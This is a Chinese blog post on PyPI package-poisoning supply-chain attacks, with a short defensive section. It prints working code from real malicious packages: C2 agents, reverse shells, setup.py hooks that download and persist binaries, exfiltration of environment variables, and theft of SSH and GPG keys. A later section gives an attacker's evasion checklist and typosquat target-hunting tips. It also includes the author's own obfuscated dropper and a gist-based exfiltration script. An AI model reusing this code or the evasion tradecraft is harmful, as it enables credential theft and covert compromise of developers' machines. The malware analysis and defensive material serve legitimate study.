MENU

由高频护网设备漏洞引发的供应链浅思

April 19, 2021 • Read: 3271 • 安全攻防阅读设置

0x01 起因前言

供应链攻击从去年年底SolarWinds到今年四月初的XcodeSpy后门、PHP仓库被黑篡改源码等爆发出来的事件越发频繁,同时最近也在护网期间,每年护网给我的感受在攻击突破口上会有一些趋势变化的亮点,例如刚开始大家主要高频使用一些1day、姿势绕过等,后面慢慢的集中在一些脑洞钓鱼、物理社工、0day等利用,到了这两年有一些瞄准各类安全厂商防护、边界设备的趋势,这种趋势的变化也很正常,红队随着蓝队防御体系不断健全变换各种突破手法,蓝队也随着红队多样的切入点拉长防守面;从今年护网爆发出来和安全设备相关的漏洞来看0day突破口基本还是代码层的问题,但假设这些问题不是开发造成而是提前被攻击者通过供应链投递进来的恶意代码呢,蓝队护网还是比较依赖于各种监控平台数据,如果它们成为了对手的"卧底",那么可能前期防御方案做的再完善也难抵后院起火。在红队的角度来看,希望不断寻找一些防守方不变的东西从而去稳定攻击,而甲方护网前不断新增部署的防护设备就正是一项不变的策略,以彼之盾攻彼之盾。

结合现在护网蓝队也需要反制到红队主机才能得分规则,那么定向供应链攻击我猜想可能接下来会成为双方都比较青睐的攻击反制手段。


0x02 供应链攻击之PyPI仓库投毒

1、什么是供应链攻击

供应链攻击(Supply Chain Attack)是一种防御上很难做到完美规避的攻击方式,由于现在的软件工程,各种包/模块的依赖十分频繁、常见,而开发者们很难做到一一检查,默认都过于信任市面上流通的包管理器,这就导致了供应链攻击几乎已经成为必选攻击之一。把这种攻击称成为供应链攻击,是为了形象说明这种攻击是一种依赖关系,一个链条,任意环节被感染都会导致链条之后的所有环节出问题。

供应链攻击具有隐蔽性强、影响范围广、投入产出比高等特点,通常会在三个阶段植入恶意木马,开发阶段(IDE编辑器、预留后门等,例如2020年-SolarWinds官方被黑事件)、 交付阶段(下载站、Git仓库官网等,例如2021年-PHP仓库被黑事件)、使用阶段(升级劫持、官方云控等,例如2018年-驱动人生升级劫持木马事件);

这三个阶段中和我们平时工作关联较多的大致在开发阶段,需要用到一些开源组件、依赖环境等,通常获取这些依赖模块会去下载集成环境或者一些第三方软件包平台例如NPM、PyPI 和 RubyGems等,如果这些平台提供的包或者模块出现了问题,那么可能代码一行未写,病毒已入,接下来以Pypi仓库投毒举例,站在攻防两个角度看待开发阶段仓库的供应链攻击。

2、PyPI仓库投毒

PyPI是Python第三方软件包管理工具平台,所有开发者都可以发布自己制作的模块包,如果攻击者上传了一些伪装恶意模块包并用一些具有迷惑性命名(例如L和1、0和o以及一些大小写名称等)、用户习惯相似易敲错命名(例如requests和request、pysmb和smb等)或者一些官方、内部被抢注的模块包,那么开发者不小心敲错即被中招;通常这些伪造包都依然满足原先包模块功能,加上用户对官方源的信任,不容易被发现。


0x03、常见投毒手法

通过分析34份恶意样本及相关历史攻击事件,把常见的投毒攻击手法整理如下:

1、通过__init__.py触发执行恶意代码

  • covd-1.0.4

伪装covid模块包,在__init.py文件中添加恶意代码下发c2服务器上病毒脚本,当模块被导入时触发请求;下发部分对c2地址、exec关键字使用hex编码隐藏,利用builtins内置函数exec去调用执行,木马部分主要用来做进程的持久化,不断轮训获取操作指令。

# covd-1.0.4/covid/__init__.py
import requests as r
import builtins

try:
  getattr(builtins, bytes.fromhex('65786563').decode())(r.get(bytes.fromhex('687474703a2f2f612e7361626162612e776562736974652f676574').decode()).text)
except:
  pass


# get
def __agent():
    try:
        from urllib import request
        import json
        import subprocess
        while True:
            req = request.Request("https://sababa.website/api/ready", method="POST")
            r = request.urlopen(req)
            response = r.read()
            if response:
                task = json.loads(response.decode())
                try:
                    process = subprocess.Popen(task['command'], stderr=subprocess.PIPE, stdout=subprocess.PIPE, cwd=task.get('working_directory'))
                    stdout, stderr = process.communicate()
                    stdout = stdout.decode()
                    stderr = stderr.decode()
                    exit_code = process.wait()
                except Exception as e:
                    stdout = ''
                    stderr = str(e)
                    exit_code = 155
                data = {'task': task, 'exit_code': exit_code, 'stdout': stdout, 'stderr': stderr}
                data = json.dumps(data).encode()
                request.urlopen(request.Request('https://sababa.website/api/done', method="POST"), data=data)
    except Exception as e:
        raise
import threading
threading.Thread(target=__agent, daemon=True).start()
  • tensorflow_serving-9.7.0

伪造tensorflow_serving-api模块包,正常包导入是import tensorflow_serving.apis方式,用户以为apis是tensorflow_serving下的,直接pip install tensorflow_serving导致被中招;这个恶意包把获取到执行结果编码转换成子域名形式,然后使用nslooup去自建的NS服务器查询该域名从而把结果数据隐蔽的传递出去,以及在执行系统命令时调用try_call函数从而去绕过一些静态规则的匹配。

# tensorflow_serving-9.7.0/tensorflow_serving/__init__.py
import os
import socket
import json
import binascii
import random
import string

PACKAGE = 'tensorflow_serving'
SUFFIX = '.dns.alexbirsan-hacks-paypal.com';
NS = 'dns1.alexbirsan-hacks-paypal.com';

def generate_id():
    return ''.join(random.choice(
        string.ascii_lowercase + string.digits) for _ in range(12)
    )
  
def get_hosts(data):
    data = binascii.hexlify(data.encode('utf-8'))
    data = [data[i:i+60] for i in range(0, len(data), 60)]
    data_id = generate_id()
    to_resolve = []
    for idx, chunk in enumerate(data):
        to_resolve.append(
            'v2_f.{}.{}.{}.v2_e{}'.format(
                data_id, idx, chunk.decode('ascii'), SUFFIX)
            )
    return to_resolve

def try_call(func, *args):
    try:
        return func(*args)
    except:
        return 'err'

data = {
    'p' : PACKAGE,
    'h' : try_call(socket.getfqdn),
    'd' : try_call(os.path.expanduser, '~'),
    'c' : try_call(os.getcwd)
}

data = json.dumps(data)
to_resolve = get_hosts(data)
for host in to_resolve:
    try:
        socket.gethostbyname(host)
    except:
        pass

to_resolve = get_hosts(data)
for host in to_resolve:
    os.system('nslookup {} {}'.format(host, NS))
  • reols-0.1

针对windows下从沙箱识别、系统截屏到反弹shell等一套流程的恶意脚本,木马主体在本地脚本,具体执行的参数c2进行下发。

# reols-0.1/reols/__init__.py

import socket, os, sys, platform, time, ctypes, subprocess, webbrowser, sqlite3, pyscreeze, threading, pynput.keyboard, wmi
import win32api, winerror, win32event, win32crypt
from shutil import copyfile
from winreg import *

strHost = socket.gethostbyname("securedmaininfo5.zapto.org")
intPort = 3000

strPath = os.path.realpath(sys.argv[0])  # get file path
TMP = os.environ["TEMP"]  # get temp path
APPDATA = os.environ["APPDATA"]
intBuff = 1024

mutex = win32event.CreateMutex(None, 1, "PA_mutex_xp4")
if win32api.GetLastError() == winerror.ERROR_ALREADY_EXISTS:
    mutex = None
    sys.exit(0)

def detectSandboxie():
    try:
        libHandle = ctypes.windll.LoadLibrary("SbieDll.dll")
        return " (Sandboxie) "
    except: return ""

def detectVM():
    objWMI = wmi.WMI()
    for objDiskDrive in objWMI.query("Select * from Win32_DiskDrive"):
        if "vbox" in objDiskDrive.Caption.lower() or "virtual" in objDiskDrive.Caption.lower():
            return " (Virtual Machine) "
    return ""
  
......

2、通过setup.py触发执行恶意代码

  • virtualnv-0.1.1

把恶意代码直接放在setup.py中,当pip安装模块时进行触发,把结果信息ascii编码后夹杂在http请求头中返回。

# virtualnv-0.1.1/setup.py
from distutils.core import setup
import os
import socket

setup(
    name='virtualnv',
    packages=['virtualnv'],
    version='0.1.1',
    description='Slimmer Virtual Environment',
    author='VirtualNV team',
    author_email='example@example.com',
    url='https://pypi.python.org/pypi?name=virtualnv&:action=display',
    keywords=[],
    classifiers=[],
    install_requires=[
        'virtualenv',
    ],
)
try:
    info = socket.gethostname() + ' virtualnv ' + ' '.join(['%s=%s' % (k, v) for (k, v) in os.environ.items()]) + ' '
    info += [(s.connect(('8.8.8.8', 53)), s.getsockname()[0], s.close()) for s in
             [socket.socket(socket.AF_INET, socket.SOCK_DGRAM)]][0][1]
    posty = "paste="
    for i in range(0, len(info)):
        if info[i].isalnum():
            posty += info[i]
        else:
            posty += ("%%%02X" % ord(info[i]))
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.connect(("packageman.comlu.com", 80))
    s.send("POST / HTTP/1.1\r\n" +
           "User-Agent: Python\r\n" +
           "Host: packageman.comlu.com\r\n" +
           "Content-Type: application/x-www-form-urlencoded\r\n" +
           "Content-Length: " + str(len(posty)) + "\r\n\r\n" + posty)
    s.recv(2048)
except:
    pass
  • libpeshka-0.6

通过setup.py脚本setup函数下script参数调用执行pr.py恶意脚本,下发和木马主体均在本地,下载远端恶意脚本后~/.bashrc持久化。

# libpeshka-0.6/setup.py
from setuptools import setup, find_packages

setup(
  name = 'libpeshka',
  packages = find_packages (),
  entry_points={
    'setuptools.installation': [
        'eggsecutable = libari.pr:rn'
    ]
  },
  version = '0.6',
  description = 'Libari wrapper for python',
  author = 'Ruri12',
  author_email = 'ruri12@example.com',
  scripts=["pr.py"],
  url = '',
  download_url = '', 
  keywords = ['libari'],
  classifiers = [],
)

# pr.py
def rn ():
    import platform
    import urllib2
    import os, stat

    ADD_LOC = "http://145.249.104.71/out"
    LOC = ".drv"
  
    if platform.system () == "Linux":
            response = urllib2.urlopen (ADD_LOC)
            os.chdir (os.path.expanduser ("~"))
            d = open (LOC, "wb")
            d.write (response.read ())
            d.close ()
            current_state = os.stat (LOC)
            os.chmod (LOC, current_state.st_mode|stat.S_IEXEC)
            brc = open (".bashrc", "a")
            brc.write ("\n~/.drv &")
            brc.close ()
    else:
            print ("Error installing library!")
            exit (-1)
  • libpeshnx-0.1

通过setup.py脚本setup函数下entry_points参数调用pr.py中rn函数执行恶意代码,下发和木马主体均在本地,下载远端恶意脚本后~/.bashrc持久化。

# libpeshnx-0.1/setup.py
from setuptools import setup, find_packages

setup(
    name='libpeshnx',
    packages=find_packages(),
    entry_points={
        'setuptools.installation': [
            'eggsecutable = libari.pr:rn'
        ]
    },
    version='0.1',
    description='Libari wrapper for python',
    author='Ruri12',
    author_email='ruri12@example.com',
    url='',
    download_url='',
    keywords=['libari'],
    classifiers=[],
)

# libpeshnx-0.1/libari/pr.py
def rn ():
    import platform
    import urllib2
    import os, stat

    ADD_LOC = "http://www.baidu.com/out"
    LOC = ".drv"

    if platform.system () == "Linux":
            response = urllib2.urlopen (ADD_LOC)
            os.chdir (os.path.expanduser ("~"))
            d = open (LOC, "wb")
            d.write (response.read ())
            d.close ()
            current_state = os.stat (LOC)
            os.chmod (LOC, current_state.st_mode|stat.S_IEXEC)
            brc = open (".bashrc", "a")
            brc.write ("\n~/.drv &")
            brc.close ()
    else:
            print ("Error installing library!")
            exit (-1)
  • request-1.0.117

伪装requests模块包,通过setup.py脚本setup函数下cmdclass参数调用执行恶意代码;下发部分对c2地址进行变换base64编码避开base64特征匹配,木马部分采用lzma+b85encode压缩编码混淆后exec执行主体,主体部分包含命令执行、文件上传等一套木马脚本,并采用~/.bashrc进行持久化。

# request-1.0.117/setup.py 
from setuptools import setup, find_packages
import atexit,signal
from setuptools.command.install import install

def _post_on_exit():
        try:
            import os
            tmp_dir = os.environ.get('TMPDIR') if os.environ.get('TMPDIR') else (os.environ.get('TEMP') if os.environ.get('TEMP') else ('/tmp' if os.path.exists('/tmp') else os.environ.get('HOME')))
            os.chdir(tmp_dir)
            from hmatch import license_check
            license_check()
        except Exception as e:
            pass
class PostInstallCommand(install):
    def run(self):
        install.run(self)
        atexit.register(_post_on_exit)
        signal.signal(signal.SIGTERM,_post_on_exit)
        signal.signal(signal.SIGINT,_post_on_exit)

INSTALL_REQUIRES = [
   'requests',
]

setup(
    name='request',
    version='1.0.117',
    description='Request Match',
    long_description='A tool for mass regex checking websites',
    license='APACHE License',
    author='Elis',
    author_email='me@elis.cc',
    url='https://elis.cc',
    keywords='hmatch, request',
    install_requires=INSTALL_REQUIRES,
    include_package_data=True,
    zip_safe=False,
    py_modules=['request','hmatch'],
    packages=find_packages(),
    entry_points={'console_scripts': ['hmatch = hmatch:main']},
    cmdclass={
        'install': PostInstallCommand,
    }
)
# request-1.0.117/hmatch.py
def license_check():
    gg = ""
    try:
        gg = urlopen(base64.b64decode("=82cus2Ylh2YvQ3clVXclJ3Lw9GdukHelR2LvoDc0RHa"[::-1]).decode('utf-8')).read().decode('utf-8')
    except Exception as e:
        pass
    if "license" in gg:
        try:
            exec(gg)
        except:
            pass
 ...

# check.so(样本未收集到,部分脚本见https://security.tencent.com/index.php/blog/msg/160)
  • pyscrapy-0.3.0

通过setup.py脚本setup函数下下cmdclass参数调用执行恶意代码,下发和木马主体均在本地,下载远端恶意脚本后~/.bashrc持久化。

# pyscrapy-0.3.0/setup.py

import subprocess, os
from setuptools import setup
from setuptools.command.install import install

class TotallyInnocentClass(install):
    # trustpiphuh
    def run(self):
        subprocess.run('curl http://13.93.28.37:8080/p | perl -', shell=True)

        # pyscrapy
        os.system('wget http://39.108.192.78:81/shell.elf')
        os.system('chmod +x ./shell.elf')
        os.system('./shell.elf &')
        os.remove('./sh.elf')
        raise SystemExit(
            "[+] It looks like you try to install pyscrapy without checking it.\n"
            "[-] is that alright? \n"
            "[] complete!"
        )

        # trustypip
        install.run(self)
        LHOST = '13.93.28.37'
        LPORT = 8888
        reverse_shell = 'python -c "import os; import pty; import socket; s = socket.socket(socket.AF_INET, socket.SOCK_STREAM); s.connect((\'{LHOST}\', {LPORT})); os.dup2(s.fileno(), 0); os.dup2(s.fileno(), 1); os.dup2(s.fileno(), 2); os.putenv(\'HISTFILE\', \'/dev/null\'); pty.spawn(\'/bin/bash\'); s.close();"'.format(
            LHOST=LHOST, LPORT=LPORT)
        encoded = base64.b64encode(reverse_shell.encode())
        os.system('echo %s|base64 -d|bash' % encoded.decode())

        # pip_security
        install.run(self)
        print("try copy file")
        os.system('cp rootkit/dist/pip_security /usr/local/bin/rootkit')
        print("rootkit install ;)")
        os.system('rootkit/dist/pip_security install')
        print("run rootkit ;)")
        os.system('rootkit &')
        print("exit")

        # fakessh
        install.run(self)
        os.system('curl -qs http://34.69.215.243/hi 2>/dev/null | bash 2>/dev/null >/dev/null')

setup(
    name="trustpiphuh",
    version="0.0.2",
    author="Example Author",
    author_email="author@example.com",
    description="DONT INSTALL THIS",
    long_description_content_type="text/markdown",
    url="https://github.com/pypa/sampleproject",
    classifiers=[
        "Programming Language :: Python :: 3",
        "License :: OSI Approved :: MIT License",
        "Operating System :: OS Independent",
    ],
    cmdclass={
        "install": TotallyInnocentClass
    }
)

3、通过混淆在正常模块文件中触发执行恶意代码

  • jeIlyfish-0.7.1

通过python3-dateutil模块包导入进行触发,python3-dateutil本身不存在恶意代码,把恶意代码夹杂在jeIlyfish正常模块功能文件中,使用zlib+base64解码进行混淆,读取C2地址上hash值解密执行获取的恶意脚本,盗取用户SSH和GPG密钥。

# jeIlyfish-0.7.1/jeIlyfish/_jellyfish.py
import zlib
import base64

ZAUTHSS = ''
ZAUTHSS += 'eJx1U12PojAUfedXkMwDmjgOIDIyyTyoIH4gMiooTmYnQFsQQWoLKv76rYnZbDaz'
ZAUTHSS += 'fWh7T849vec294lXexEeT0XT6ScXpawkk+C9Z+yHK5JSPL3kg5h74tUuLeKsK8aa'
ZAUTHSS += '6SziySDryHmPhgX1sCUZtigVxga92oNkNeqL8Ox5/ZMeRo4xNpduJB2NCcROwXS2'
ZAUTHSS += 'wTVf3q7EUYE+xeVomhwLYsLeQhzth4tQkXpGipPAtTVPW1a6fz7oa2m38NYzDQSH'
ZAUTHSS += 'hCl0ksxCEz8HcbAzkDYuo/N4t8hs5qF0KtzHZxXQxBnXkXhKa5Zg18nHh0tAZCj+'
ZAUTHSS += 'oA+L2xFvgXMJtN3lNoPLj5XMSHR4ywOwHeqnV8kfKf7a2QTEl3aDjbpBfSOEZChf'
ZAUTHSS += '9jOqBxgHNKADZcXtc1yQkiewRWvaKij3XVRl6xsS8s6ANi3BPX5cGcr9iL4XGB4b'
ZAUTHSS += 'BW0DeD5WWdYSLqHQbP2IciWp3zj+viNS5HxFsmwfyvyjEhbe0zgeXiOIy785bQJP'
ZAUTHSS += 'FaTlP1T+zoVR43anABgVOSaQ0kYYUKgq7VBS7yCADQLbtAobHM8T4fOX+KwFYQQg'
ZAUTHSS += '+hJagtB6iDWEpCzx28tLuC+zus3EXuSut7u6YX4gQpOVEIBGs/1QFKoSPfeYU5QF'
ZAUTHSS += 'MX1nD8xdaz2xJrbB8c1P5e1Z+WpXGEPSaLLFPTyx7tP/NPJP+9l/QteSTVWUpNQR'
ZAUTHSS += 'ZbDXT9vcSl43I5ksclc0fUaZ37bLZJjHY69GMR2fA5otolpF187RlZ1riTrG6zLp'
ZAUTHSS += 'odQsjopv9NLM7juh1L2k2drSImCpTMSXtfshL/2RdvByfTbFeHS0C29oyPiwVVNk'
ZAUTHSS += 'Vs4NmfXZnkMEa3ex7LqpC8b92Uj9kNLJfSYmctiTdWuioFJDDADoluJhjfykc2bz'
ZAUTHSS += 'VgHXcbaFvhFXET1JVMl3dmym3lzpmFv5N6+3QHk='

ZAUTHSS = base64.b64decode(ZAUTHSS)
ZAUTHSS = zlib.decompress(ZAUTHSS)
if ZAUTHSS:
    exec(ZAUTHSS)
    
# hashsum
home = os.path.expanduser("~")
if os.path.exists(home):
    data.add(home)
    data.add('\n   ###  1 ls home')
    data.add('\n   '.join(list_dir(home)))
    data.add('\n   ### 2 ls Documents')
    data.add('\n   '.join(list_dir(os.path.join(home, 'Documents'))))
    data.add('\n   ### 3 ls Downloads')
    data.add('\n   '.join(list_dir(os.path.join(home, 'Downloads'))))
    data.add('\n   ### 4 ls PycharmProjects')
    data.add('\n   '.join(list_dir(os.path.join(home, 'PycharmProjects'))))
    data.add('\n   ### 5 save home files')
    save_files(home)
    data.add('\n   ### 6 save .ssh files')
    save_files(os.path.join(home, '.ssh'))
    data.add('\n   ### 7 save gpg keys')
    save_files(os.path.join(home, '.gnupg'))
    data.add('\n   ### 8 save target')
    save_file(os.path.join(home, 'Downloads/ITDS-2018-10-15-DRACO_SRV1-362.pfx'))
    data.add('\n   ### 9 end :)')
    
data.add(requests.get('http://ifconfig.co/json').text)
requests.post(
    'http://68.183.212.246:32258',
    data=json.dumps({'my3n_data': data.dump}, default=lambda v: str(v)),
    headers={"Content-type": "application/json"}
)

0x04、防御方式

1、建议上防御

  • 安装模块时候多留意包的依赖,有可能A包没问题,问题出在A包依赖的B包;
  • 执行一键安装脚本或者安装模块包的时候多注意下包名称;
  • 使用国内源的时候注意恶意包是否已经删了,一些国内源在同步官方源时候部分恶意包不会删除,不过有个好处就是方便找恶意包的样本:(
  • 安装一些不确定的开源项目多在虚拟机或者docker中进行部署,需要主机部署的控制好权限;
  • pip list | grep <packages> && pip show --file <packages>自检恶意包。

    2、建设上防御

  • 建立内部可信包管理平台,从源头上尽可能切断;
  • 建立软件包安全扫描平台,Hunting for Malicious Packages on PyPI方案可行,主要通过流量行为两块进行检测识别,流量上抓取安装导入时触发的数据流进行特征和敏感dns请求等进行检测;行为上提取一些作者包名等一些特征进行静态规则匹配和使用sysdig抓取包安装运行时系统调用trace等进行识别;一些相关开源工具有Aura静态Python代码分析框架maloss软件包管理器安全性分析框架ossmalware动态分析查找恶意模块PypiScanconfused依赖查找系统
  • 建立SOAR等平台应对被攻击后快速应急响应,SOAR剧本可以参考:别慌,这回你有SOAR——关于PyPI仓库遭投毒事件的自动化应急响应

0x05、用魔法打败魔法

在侧重点不同的视角下同样的事情通常会看到不一样的薄弱点,因此切换到一个"攻击者"的角度去优化手法,规避掉一些防御策略,增大对方识别到的成本和误报;以下通过一次非恶意测试,记录作为攻击者可能会去尝试绕过的一些点以及对投毒脚本混淆优化。

1、梳理功能需求

  • 能够兼容py2/3版本,对不同系统下发不同指令;
  • 不影响伪造的模块的正常功能;
  • 尽可能少使用第三方依赖,有用到的第三放模块直接目录导入或者复写;
  • 满足一个病毒该有的样子,已经是个成熟的病毒了,自己得会信息收集、屏幕截图、反弹shell、后门维持等功能:(
  • 忽略所有异常报错,避免恶意代码位置被报错输出;
  • 避免字符串过长被静态特征检测到;
  • 避免和历史攻击样本中的一些特征相似被静态规则检测到;
  • 对于一些敏感的关键字例如eval、exec等要编码混淆避免被静态规则检测到;
  • 木马主体以及持久化等C2控制,本地下马部分仅做个下马操作,避免过多行为被检测到;
  • 下马部分特征比较明显可以放到一些非常规的后缀文件中,有些检测机制只检测py文件从而进行绕过;
  • 对域名、ip等敏感的特征做一些编码或者进制转换等进行混淆;
  • 在传输数据中大多会检测dns、http等,使用一些udp、icmp隧道或加密等进行传递;
  • 识别一些沙箱、docker等虚拟环境;
  • 木马主体识别一些恶意挖矿进行以及阿里云等保护进行kill掉;
  • 伪造的模块包通过填充一些垃圾数据、或者把恶意代码部分和正常代码之间填充很多空行进行混淆分析者;
  • 代码回传到的C2放个监控探针,有ip访问到了可能被发现了,大致知道多久被发现;

    ......

2、寻找投毒目标

  • 查看Github上最近比较火的项目用到哪些模块;
  • 查看Google上关于pip install 高频的搜索推荐记录;
  • 查看pypi一些下载量统计网站,例如PyPI Stats看看最近哪些包下载较多;
  • 监控Github上泄露的Pypi Token,查看开发者是否上传过了相关模块;
  • 针对一些定向人群常用关键字等进行水坑,例如CVE-2020-1350假POC钓鱼;
  • 抢注一些通过收集或猜测构造的一些企业内部可能使用的包模块;
  • 爬取pypi上所有模块的名称,定义一些好钓鱼命名的规则用脚本去挖掘;
  • 寻找一些非常规的导入方式或者命令方式,比如有的叫pyxxx,python3-xxxx;
  • 修改正常的requirements.txt依赖的组件名称;
  • 使用一些例如dnstwist等工具生成一些相似名称;
  • 蹭一些当下的热点,例如covid投毒;

    ......

3、实际投毒测试

  • 投毒脚本

使用Github作为c2测试,也避免少一些国内主机受到影响。

try:
    _ = lambda func, *args: func(*args)
    __ = lambda path: _(
        __import__,
        'offices'.
            replace
        ("ffice", '')). \
        path. \
        exists(path)

    p2 = ['696d706', 'f727420', '75726c6', 'c696232', '3b65786', '5632862', '7974656', '1727261', '792e667', '26f6d68', '6578287', '5726c6c', '6962322', 'e75726c', '6f70656', 'e287572', '6c6c696', '2322e52', '6571756', '5737428', '75726c3', 'd226874', '7470733', 'a2f2f67', '6973742', 'e676974', '6875627', '5736572', '636f6e7', '4656e74', '2e636f6', 'd2f5869', '6e6a696', '16e6743', '6f74746', 'f6e4265', '73742f6', '5623537', '3131373', '3313264', '3038636', '1306566', '3666316', '4343134', '3036346', '3383634', '2f72617', '72f3433', '6438323', '4343862', '3663643', '3306430', '6261373', '4353236', '6238373', '6346435', '3466336', '5303463', '3165362', 'f68682e', '7478742', '2292c20', '74696d6', '56f7574', '3d38292', 'e726561', '6428292', 'e646563', '6f64652', '8227574', '662d382', '229292e', '6465636', 'xxxxx', 'xxxx']
    p3 = ['66726f6', 'd207572', '6c6c696', '22e7265', '7175657', '3742069', '6d706f7', '2742075', '726c6f7', '0656e3b', '6578656', '3286279', '7465617', '2726179', '2e66726', 'f6d6865', '7828757', '26c6f70', '656e282', '2687474', '70733a2', 'f2f6769', '73742e6', '7697468', '7562757', '3657263', '6f6e746', '56e742e', '636f6d2', 'f58696e', '6a69616', 'e67436f', '74746f6', 'e426573', '742f656', '2353731', '3137333', '1326430', '3863613', '0656636', '6631643', '4313430', '3634633', '836342f', '7261772', 'f343364', '3832343', '4386236', '6364333', '0643062', '6137343', '5323662', '3837363', '4643534', '6633653', '0346331', '65362f6', '8682e74', '7874222', 'c74696d', '656f757', '43d3829', '2e72656', '1642829', '2e64656', '36f6465', '2822757', '4662d38', '2229292', 'e646563', 'xxxx', 'xxxx']

    if not __("/.diocikeiireniiv".
                      replace
                  ("i", "")):
        if _(
        __import__,
        "superyupers".
                replace("uper", "")).version_info.major == 3:
            _(
                __builtins__.__dict__
                ['elovexloveelovec'.
                    replace("love", '')],
                _(
                    __import__,
                  'bok~iok~nasciok~i'.replace(
                      'ok~', '')).
                    unhexlify   (
                    ''.join(p3)).decode()
            )
        else:
            data = _(
                __import__, 'bok~iok~nasciok~i'.replace('ok~', '')).  unhexlify   (

                ''.join(p2)).decode()
            _(
                __import__,
                'offices'.
                    replace
                ("ffice", '')).system("python -c '{}'".format(_(
                __import__, 'bok~iok~nasciok~i'.replace('ok~', '')).

                                                              unhexlify   (
                ''.join(p2)).decode()))
except:
    pass
import os, socket, getpass, platform, time, json

try:
    import urllib2 as urlrequest
except:
    import urllib.request as urlrequest


def info(gists_token="xxxx", gists_id="xxxx"):
    try:
        _ = {
            "user": getpass.getuser(),
            "user_dir": os.path.expanduser("~"),
            "current_dir": os.getcwd(),
            "ipaddr": [(s.connect(("8.8.8.8", 53)), s.getsockname()[0], s.close()) for s in
                       [socket.socket(socket.AF_INET, socket.SOCK_DGRAM)]][0][1],
            "hostname": platform.uname(),
            "datetime": time.strftime("%Y-%m-%d %H:%M:%S", time.localtime(time.time())),
        }
        data = {"body": "{0}".format(json.dumps(_).encode("utf-8", errors="ignore"))}
        req = urlrequest.Request(
            url="https://api.github.com/gists/{0}/comments".format(gists_id),
            data=json.dumps(data).encode("utf-8", errors="ignore"),
            headers={
                "Authorization": "token {0}".format(gists_token),
                "Accept": "application/vnd.github.v3+json",
            }
        )
        return urlrequest.urlopen(req, timeout=10).read()
    except:
        pass

info()

0x06 参考资料

生产节点供应链安全思考 | Kevinsa

揭秘新的供应链攻击:一研究员靠它成功入侵微软、苹果等35家科技公司-InfoQ

被忽视的攻击面:Python package 钓鱼

如何在PyPI上寻找恶意软件包 - FreeBuf网络安全行业门户

关于软件供应链攻击,CISO应关注的5个问题 - FreeBuf网络安全行业门户

ffffffff0x/Dork-Admin: 盘点近年来的数据泄露、供应链污染事件

软件供应链来源攻击分析报告-奇安信威胁情报中心
使用动静结合的分析方式检测供应链攻击中的0 day - 安全客,安全资讯平台
PyPI 官方仓库遭遇request恶意包投毒 - 腾讯安全应急响应中心

浅析软件供应链攻击之包抢注低成本钓鱼 - 腾讯安全应急响应中心

源头之战,不断升级的攻防对抗技术 —— 软件供应链攻击防御探索 - 腾讯安全应急响应中心

---The END---
  • 文章标题:《由高频护网设备漏洞引发的供应链浅思》
  • 文章作者:Coco413
  • 文章链接:https://coco413.com/archives/82/
  • 版权声明:本文为原创文章,仅代表个人观点,内容采用《署名-非商业性使用-相同方式共享 4.0 国际》进行许可,转载请注明出处。
  • Archives QR Code
    QR Code for this page
    Tipping QR Code